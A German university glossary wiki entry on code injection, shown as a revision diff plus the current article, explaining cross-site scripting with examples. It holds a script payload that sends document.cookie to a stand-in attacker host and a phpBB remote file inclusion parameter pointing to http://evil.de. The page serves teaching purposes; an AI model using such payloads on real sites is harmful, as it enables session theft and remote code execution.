Code Injection: Unterschied zwischen den Versionen

aus GlossarWiki, der Glossar-Datenbank der Fachhochschule Augsburg
Keine Bearbeitungszusammenfassung
 
(11 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 1: Zeile 1:
=Definition=
{{Qualität
|correctness        = 2
|extent              = 3
|numberOfReferences  = 5
|qualityOfReferences = 5
|conformance        = 4
}}
==Definition==


Codeinjektion wird bei [[Cross Site Scripting]] eingesetzt und findet seinen Einsatz in variablen Bereichen dynamischer Webseiten, also
Unter [[Code Injection]] versteht man, dass unerwünschter Code in eine Webanwendung eingeschleust wird,
der künftig von Clients (Browser) oder sogar vom Server ausgeführt wird.
[[Code Injection]] ist üblicherweise Bestandteil des [[Cross Site Scripting]] und findet seinen Einsatz in variablen Bereichen dynamischer Websites, also
überall dort, wo Benutzer etwas selbstständig eintragen dürfen.
überall dort, wo Benutzer etwas selbstständig eintragen dürfen.


=Bemerkungen=
==Bemerkungen==
Entscheidend hierbei ist, dass der Browser, in dem eine manipulierte Webseite
Entscheidend hierbei ist, dass der Browser, in dem eine manipulierte Webseite
dargestellt wird, nichts über den Zweck oder Ursprung des in dieser Seite enthaltenen Codes
dargestellt wird, nichts über den Zweck oder Ursprung des in dieser Seite enthaltenen Codes
Zeile 15: Zeile 24:
Eingaben vorher nicht ausreichend filtern und prüfen, kann Code injiziert werden. Werden die
Eingaben vorher nicht ausreichend filtern und prüfen, kann Code injiziert werden. Werden die
Eingaben in Gästebüchern, Foren, privaten Nachrichten oder anderen Anwendungen, die auf den
Eingaben in Gästebüchern, Foren, privaten Nachrichten oder anderen Anwendungen, die auf den
gleichen Prinzipien basieren, nicht ausreichend geprüft, könnten diese zum injizieren von Code
gleichen Prinzipien basieren, nicht ausreichend geprüft, könnten diese zum Injizieren von Code
verwendet werden.
verwendet werden.


=Beispiel: Stehlen eines Cookies=
==Beispiel: Stehlen eines Cookies==


Eine ungesicherte dynamische Seite, die mit PHP geschrieben wurde und über ein Titel- und Text-Feld verfügt legt zunächst mit
Es sei eine ungesicherte dynamische Seite gegeben, die mit PHP geschrieben wurde und mit der ein Benutzer Kommentare erstellen und sich anzeigen lassen kann.
 
Auf dieser Seite gebe es ein Formular mit einem Titel- und einem Text-Feld. Das PHP-Skript speichere im Browser des Benutzers ein Cookie:
<pre>
<source lang="javascript">
setcookie("xss" , "This content will be stored in a cookie" );
setcookie("cook" , "some interesting content" );
</pre>
</source>
 
ein Cookie mit dem Namen xss und dem Inhalt "This content will be stored in a cookie" beim Benutzer an.
 
Der Benutzer kann in dieser Anwendung Nachrichten versenden und anzeigen lassen (dafür sind das Titel- und Textfeld).


Um dieses Cookie zu stehlen, kann der Angreifer (nachdem der Inhalt des Textfelds und des
Um dieses Cookie zu stehlen, kann der Angreifer (nachdem der Inhalt des Textfelds und des
Titelfelds nicht gefiltert wird) in das Textfeld folgenden JavaScript-Code eintragen:
Titelfelds nicht gefiltert wird) in das Textfeld folgenden JavaScript-Code eintragen:


<pre>
<source lang="html">
<script>
<script>
   document.location="http://www.evilsite.com/evilscript.php?info="+document.cookie;
   document.location="https://www.buggysite.com/buggyscript.php?info="+document.cookie;
</script>
</script>
</pre>
</source>


Anschließend wird im Browser, der folgende Link angezeigt:<br>
Anschließend wird im Browser der folgende Link angezeigt:<br>


<pre>
<source lang="html">
http://www.evilwebsite.com/evilscript.php?info=xss=This+content+will+be+stored+in+a+cookie
https://www.buggysite.com/buggyscript.php?info=cook=some+interesting+content
</pre>
</source>


Es ist deutlich zu sehen, dass die Daten aus dem Cookie ausgelesen und nun dem Angreifer bekannt sind.
Es ist deutlich zu sehen, dass die Daten aus dem Cookie ausgelesen und nun dem Angreifer bekannt sind.


=Beispiel: Umleitung einer Seite=
==Beispiel: Umleitung einer Seite==
Das Freeware-Tool phpBB, das es dem Benutzer ermöglicht, auch ohne weiterführende Programmier-
Das Freeware-Tool phpBB, das es dem Benutzer ermöglicht, auch ohne weiterführende Programmier-
oder HTML-Kenntnisse Foren zu erstellen und zu administrieren, wurde durch eine PHP
oder HTML-Kenntnisse Foren zu erstellen und zu administrieren, wurde durch eine PHP
Anweisung anfällig auf XSS, dies wird mit einem Beispiel aus [[Rütten, Glemser (2006)]] vorgeführt.
Anweisung anfällig für Cross Site Scripting. Dies wird mit einem Beispiel aus [[Rütten, Glemser (2006)]] vorgeführt.


Mit der Anweisung
Mit der Anweisung


<pre>
<source lang="php">
include_once($phpbb_root_path=’common.php’)
include_once($phpbb_root_path=’common.php’)
</pre>
</source>


wird die Datei „common.php“ aus dem Root-Verzeichnis geladen. Dies ließ sich jedoch ausnutzen,
wird die Datei „common.php“ aus dem Root-Verzeichnis geladen. Dies ließ sich jedoch ausnutzen,
indem man die dynamische Seite mit folgendem Code „fütterte“:
indem man folgendem Code injizierte:


<pre>
<source lang="php">
/plugin.php&phpbb_root_path=http://evil.de
/plugin.php&phpbb_root_path=http://evil.de
</pre>
</source>


Dies führte dazu, das statt der gewünschten Datei die Datei <code>http://evil.de/common.php</code> ausgeführt
Dies führte dazu, das statt der gewünschten Datei die Datei <code>http://evil.de/common.php</code> ausgeführt
wurde.
wurde. Diese Lücke ist zwar bei den neueren Versionen von phpBB geschlossen, verdeutlicht aber das Prinzip der Codeinjektion und ist immer noch aktuell für selbst geschriebene PHP-Seiten.


Diese Lücke ist zwar bei den neueren Versionen von phpBB geschlossen, verdeutlicht aber das Prinzip der Codeinjektion und ist immer noch aktuell für selbst geschriebene PHP Seiten.
==Gängige Vertreter==
 
=Gängige Vertreter=
*[[SQL Injection]], wird am häufigsten eingesetzt
*[[SQL Injection]], wird am häufigsten eingesetzt
*[[LDAP Injection]]
*[[LDAP Injection]]
Zeile 76: Zeile 79:
*[[XPath Injection]]
*[[XPath Injection]]


=Quellen=
==Quellen==
* [[Quelle::C. Sima]]
* {{Quelle|Sima, C. (2006): Locking the Door Behind You: Hacker Protection for Your Web Applications}}
* [[Quelle::Sullivan B. (2006): Malicious Code Injection: It's Not Just for SQL Anymore]]
* {{Quelle|Sullivan B. (2006): Malicious Code Injection: It's Not Just for SQL Anymore}}
* [[Quelle::Rütten, Glemser (2006)]]
* {{Quelle|Rütten, Glemser (2006)}}
* [[Quelle::Fuhrberg, Häger, Wolf (2001)]]
* {{Quelle|Fuhrberg, Kai; Häger, Dirk; Wolf, Stefan (2001): Internet-Sicherheit}}
* [[Quelle::Schwenk (2002)]]
* {{Quelle|Schwenk (2002)}}
* [[Quelle::Kyas (1999)]]
* {{Quelle|Kyas (1999)}}
* [[Quelle::Nusser (1998)]]
* {{Quelle|Nusser (1998)}}
* [[Quelle::Ziegler (2007)]]
* {{Quelle|Ziegler (2007)}}
* Sicherheit in Verwaltungs- und Kliniknetzen – Anforderungen, Möglichkeiten, Empfehlungen. Bericht der Arbeitsgruppe Verwaltungen und Kliniken im Hochschulnetz. Bayerisches Staatsministerium für Unterricht, Kultus, Wissenschaft und Kunst, 1998
* Sicherheit in Verwaltungs- und Kliniknetzen – Anforderungen, Möglichkeiten, Empfehlungen. Bericht der Arbeitsgruppe Verwaltungen und Kliniken im Hochschulnetz. Bayerisches Staatsministerium für Unterricht, Kultus, Wissenschaft und Kunst, 1998
* XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.ckers.org/xss.html
* XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.ckers.org/xss.html
* heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885
* heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885


=Siehe auch=
==Siehe auch==


*[[Cross Sit+e Scripting]]
*[[Cross Site Scripting]]
*[[Whitelisting]]
*[[Whitelisting]]
*[[Blacklisting]]
*[[Blacklisting]]


[[Kategorie:Sicherheit]]
[[Kategorie:Sicherheit]]
[[Kategorie:Glossar]]
[[Kategorie:Glossar]]

Aktuelle Version vom 16. Mai 2019, 15:34 Uhr

Dieser Artikel erfüllt die GlossarWiki-Qualitätsanforderungen nur teilweise:

Korrektheit: 2
(teilweise überprüft)
Umfang: 3
(einige wichtige Fakten fehlen)
Quellenangaben: 5
(vollständig vorhanden)
Quellenarten: 5
(ausgezeichnet)
Konformität: 4
(sehr gut)

Definition

Unter Code Injection versteht man, dass unerwünschter Code in eine Webanwendung eingeschleust wird, der künftig von Clients (Browser) oder sogar vom Server ausgeführt wird. Code Injection ist üblicherweise Bestandteil des Cross Site Scripting und findet seinen Einsatz in variablen Bereichen dynamischer Websites, also überall dort, wo Benutzer etwas selbstständig eintragen dürfen.

Bemerkungen

Entscheidend hierbei ist, dass der Browser, in dem eine manipulierte Webseite dargestellt wird, nichts über den Zweck oder Ursprung des in dieser Seite enthaltenen Codes wissen kann und deswegen auch den injizierten Code gewissenhaft ausführt.

Da der hinzugefügte Code zum Teil der Seite wird, verfügt er auch über die Berechtigungen der Seite, weswegen Verschlüsselungstechniken und ähnliche Sicherheitsvorkehrungen nutzlos werden.

Vor allem bei Webseiten, die die Eingabe von Benutzern anschließend anzeigen und dabei diese Eingaben vorher nicht ausreichend filtern und prüfen, kann Code injiziert werden. Werden die Eingaben in Gästebüchern, Foren, privaten Nachrichten oder anderen Anwendungen, die auf den gleichen Prinzipien basieren, nicht ausreichend geprüft, könnten diese zum Injizieren von Code verwendet werden.

Beispiel: Stehlen eines Cookies

Es sei eine ungesicherte dynamische Seite gegeben, die mit PHP geschrieben wurde und mit der ein Benutzer Kommentare erstellen und sich anzeigen lassen kann. Auf dieser Seite gebe es ein Formular mit einem Titel- und einem Text-Feld. Das PHP-Skript speichere im Browser des Benutzers ein Cookie:

setcookie("cook" , "some interesting content" );

Um dieses Cookie zu stehlen, kann der Angreifer (nachdem der Inhalt des Textfelds und des Titelfelds nicht gefiltert wird) in das Textfeld folgenden JavaScript-Code eintragen:

<script>
  document.location="https://www.buggysite.com/buggyscript.php?info="+document.cookie;
</script>

Anschließend wird im Browser der folgende Link angezeigt:

https://www.buggysite.com/buggyscript.php?info=cook=some+interesting+content

Es ist deutlich zu sehen, dass die Daten aus dem Cookie ausgelesen und nun dem Angreifer bekannt sind.

Beispiel: Umleitung einer Seite

Das Freeware-Tool phpBB, das es dem Benutzer ermöglicht, auch ohne weiterführende Programmier- oder HTML-Kenntnisse Foren zu erstellen und zu administrieren, wurde durch eine PHP Anweisung anfällig für Cross Site Scripting. Dies wird mit einem Beispiel aus Rütten, Glemser (2006) vorgeführt.

Mit der Anweisung

include_once($phpbb_root_path=’common.php’)

wird die Datei „common.php“ aus dem Root-Verzeichnis geladen. Dies ließ sich jedoch ausnutzen, indem man folgendem Code injizierte:

/plugin.php&phpbb_root_path=http://evil.de

Dies führte dazu, das statt der gewünschten Datei die Datei http://evil.de/common.php ausgeführt wurde. Diese Lücke ist zwar bei den neueren Versionen von phpBB geschlossen, verdeutlicht aber das Prinzip der Codeinjektion und ist immer noch aktuell für selbst geschriebene PHP-Seiten.

Gängige Vertreter

Quellen

Siehe auch